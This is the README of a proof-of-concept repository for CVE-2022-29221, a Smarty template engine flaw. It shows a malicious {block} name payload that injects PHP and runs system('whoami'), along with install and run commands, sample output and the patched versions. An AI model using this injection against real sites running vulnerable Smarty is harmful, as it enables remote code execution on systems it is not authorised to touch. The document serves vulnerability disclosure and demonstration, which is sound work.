CVE-2022-29221-PoC
This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221.
Injection Example Code:
{block name="poc*/system('whoami');/*"}ABC{/block}
See: https://github.com/sbani/CVE-2022-29221-PoC/blob/main/template/index.tpl
After running the code, Smarty will add a new php file in the ./compile/ folder. You can see the resulting (and vulnerable) code there.
Run test
Install:
git clone git@github.com:sbani/CVE-2022-29221-PoC.git
cd CVE-2022-29221-PoC
composer install
Run:
❯ whoami
sbani
❯ php index.php
sbani
sbani
ABC
CVE details
Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.
Fix commit is here:
References: